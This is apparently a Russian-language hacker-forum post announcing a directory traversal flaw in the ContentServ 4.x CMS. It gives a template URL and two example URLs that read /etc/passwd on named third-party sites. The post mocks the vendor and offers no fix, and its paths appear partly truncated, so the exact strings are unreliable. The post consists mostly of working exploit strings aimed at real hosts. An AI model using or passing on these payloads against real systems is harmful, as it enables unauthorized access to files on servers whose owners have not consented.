ContentServ 4.х

[SAD1ST]

Уязвимые версии: 4.х

Обнаружена уязвимость в Сontentserv 4.x

Мож конечно это уже давно всем известно, но всё равно размещу!!!

ContentServ is a cms and "cross media publishing" software.


"В ContentServ, постоянно что-то происходит, меняется. Мы постоянно меняем и обновляем наши продукты.[...]"
З.Ы.: Вот и доменялись.....


Вот, Теперь, на время, забудем про sql injections и попробуем:
http://somesite/contentserv/4.2/admin/File..../../etc/passwd

Вот например:

1) http://www2.vhs-bayern.de/contentserv/4.2/..../../etc/passwd

2) http://www.contentserv.com/4.1/admin/FileS..../../etc/passwd

Производитель: www.contentserv.com